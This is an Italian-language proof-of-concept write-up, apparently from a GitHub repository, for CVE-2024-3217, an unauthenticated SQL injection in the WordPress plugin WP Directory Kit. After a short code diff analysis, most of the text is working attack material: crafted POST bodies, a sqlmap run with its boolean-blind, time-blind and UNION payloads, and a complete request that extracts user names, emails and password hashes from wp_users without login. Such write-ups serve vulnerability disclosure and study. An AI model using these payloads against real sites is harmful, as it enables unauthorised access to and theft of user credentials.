bassamassiri/cve-2024-3217-pocExploit proof-of-concept per CVE-2024-3217, una SQL injection non autenticata nel plugin WordPress WP Directory Kit, che consente l'estrazione di dati sensibili dal database.
Il plugin WP Directory Kit per WordPress è vulnerabile a SQL Injection tramite i parametri 'attribute_value' e 'attribute_id' in tutte le versioni fino alla 1.3.0 inclusa, a causa di un escaping insufficiente sul parametro fornito dall'utente e della mancanza di una preparazione adeguata sulla query SQL esistente. Ciò consente ad attaccanti autenticati, con accesso di livello subscriber e superiore, di aggiungere ulteriori query SQL a quelle già esistenti, che possono essere utilizzate per estrarre informazioni sensibili dal database.
ho installato la versione corretta tramite wordpress
https://wordpress.org/plugins/wpdirectorykit/
se vuoi una versione precedente clicca su Advanced View
vogliamo scaricare la 1.3.0 e la 1.3.1 per confrontare le differenze
https://downloads.wordpress.org/plugin/wpdirectorykit.1.3.0.zip https://downloads.wordpress.org/plugin/wpdirectorykit.1.3.1.zip
quando fai il diff e cerchi i valori di 'attribute_value' e 'attribute_id' li ho trovati in questo file
\wpdirectorykit\application\controllers\Wdk_frontendajax.php ho usato un'estensione chiamata "folder diff" in vs code
nella versione 1.3.0 la funzione "sanitize_text_field" era utilizzata, ma il problema non è direttamente qui, si trova più in basso in questa parte
possiamo vedere che se "$attr_search" è numerico controlleremo $id_part = "$attr_id=$attr_search OR "; che verrà utilizzato come parte della query SQL e poiché non possiamo usare " ' " dato che fa parte di una query non ne abbiamo bisogno per l'escape, possiamo includere direttamente la nostra parte di injection nel codice
che verrà utilizzata qui
ora dobbiamo creare una richiesta che raggiunga queste parti e inserire un valore numerico per "$attr_search" poi fare la nostra injection e, in base alla descrizione, sembra che il livello minimo sia "subscriber-level", verificheremo questo in seguito
offset=0&per_page=10&curr_id=&attribute_id=ID=1)or 1=1-- -&attribute_value=display_name&search_term=1&language_id=&skip_id=&user_check=&sql_where=&hide_fields=&page=wdk_frontendajax&function=treefieldid&action=wdk_public_action&table=user_m&filter_ids=&start_id=&empty_value=Not+Selected
offset=0&per_page=10&curr_id=&attribute_id=ID=1)*-- -&attribute_value=display_name&search_term=1&language_id=&skip_id=&user_check=&sql_where=&hide_fields=&page=wdk_frontendajax&function=treefieldid&action=wdk_public_action&table=user_m&filter_ids=&start_id=&empty_value=Not+Selected
ora lo testeremo con SQLMAP per PoC
python .\sqlmap.py -r .\sql-wpdirectorykit-4.req --dbs --batch --dbms=mysql --flush-session
[17:08:36] [INFO] parsing HTTP request from '.\sql-wpdirectorykit-4.req'
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y
[17:08:36] [INFO] flushing session file
[17:08:36] [INFO] testing connection to the target URL
[17:08:37] [INFO] checking if the target is protected by some kind of WAF/IPS
[17:08:37] [INFO] testing if the target URL content is stable
[17:08:38] [INFO] target URL content is stable
[17:08:38] [INFO] testing if (custom) POST parameter '#1*' is dynamic
[17:08:39] [INFO] (custom) POST parameter '#1*' appears to be dynamic
[17:08:39] [WARNING] heuristic (basic) test shows that (custom) POST parameter '#1*' might not be injectable
[17:08:40] [INFO] testing for SQL injection on (custom) POST parameter '#1*'
[17:08:40] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[17:08:44] [INFO] (custom) POST parameter '#1*' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[17:08:44] [INFO] testing 'Generic inline queries'
[17:08:44] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)'
[17:08:45] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[17:08:45] [WARNING] time-based comparison requires larger statistical model, please wait.................... (done)
[17:09:11] [INFO] (custom) POST parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[17:09:11] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[17:09:11] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[17:09:13] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[17:09:18] [INFO] target URL appears to have 34 columns in query
[17:09:36] [INFO] (custom) POST parameter '#1*' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 65 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: offset=0&per_page=10&curr_id=&attribute_id=ID=1) AND 7544=7544-- -&attribute_value=display_name&search_term=1&language_id=&skip_id=&user_check=&sql_where=&hide_fields=&page=wdk_frontendajax&function=treefieldid&action=wdk_public_action&table=user_m&filter_ids=&start_id=&empty_value=Not Selected
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: offset=0&per_page=10&curr_id=&attribute_id=ID=1) AND (SELECT 1253 FROM (SELECT(SLEEP(5)))BUhD)-- -&attribute_value=display_name&search_term=1&language_id=&skip_id=&user_check=&sql_where=&hide_fields=&page=wdk_frontendajax&function=treefieldid&action=wdk_public_action&table=user_m&filter_ids=&start_id=&empty_value=Not Selected
Type: UNION query
Title: Generic UNION query (NULL) - 34 columns
Payload: offset=0&per_page=10&curr_id=&attribute_id=ID=1) UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7171717871,0x645450444e484b6162547547496545685342754f57475a505641526d4373656c6c50454f61444358,0x7171707671),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- --- -&attribute_value=display_name&search_term=1&language_id=&skip_id=&user_check=&sql_where=&hide_fields=&page=wdk_frontendajax&function=treefieldid&action=wdk_public_action&table=user_m&filter_ids=&start_id=&empty_value=Not Selected
---
[17:09:36] [INFO] the back-end DBMS is MySQL
web application technology: PHP 7.3.29, Apache 2.4.48
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[17:09:37] [INFO] fetching database names
ora proviamo a trovare i privilegi minimi necessari, partiamo senza cookie (0 privilegi) e costruiamo a partire dal minimo privilegio
dopo aver cancellato i cookie l'output è ancora valutato, proviamo il payload di sqlmap per conferma
è un Proof Of Concept, non sono necessari cookie per questo attacco. Creiamo un semplice payload per estrarre tutti i valori da wp_users
POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1
Host: localhost
Content-Length: 551
sec-ch-ua: "Chromium";v="123", "Not:A-Brand";v="8"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.88 Safari/537.36
sec-ch-ua-platform: "Windows"
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/wordpress/wp-admin/admin.php?page=wdk_listing&id=10&is_updated=true
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
offset=0&per_page=10&curr_id=&attribute_id=ID=1) UNION ALL SELECT NULL,NULL,NULL,CONCAT(display_name,0x3a,display_name,0x3a,user_email,0x3a,user_pass),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from wp_users-- -&attribute_value=display_name&search_term=1&language_id=&skip_id=&user_check=&sql_where=&hide_fields=&page=wdk_frontendajax&function=treefieldid&action=wdk_public_action&table=user_m&filter_ids=&start_id=&empty_value=Not Selected
la parte del payload
1) UNION ALL SELECT NULL,NULL,NULL,CONCAT(display_name,0x3a,display_name,0x3a,user_email,0x3a,user_pass),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL from wp_users-- -
nota che devi impostare "search_term" a un valore numerico, in questo esempio è "1"
SQL injection di tipo UNION completa, completamente non autenticata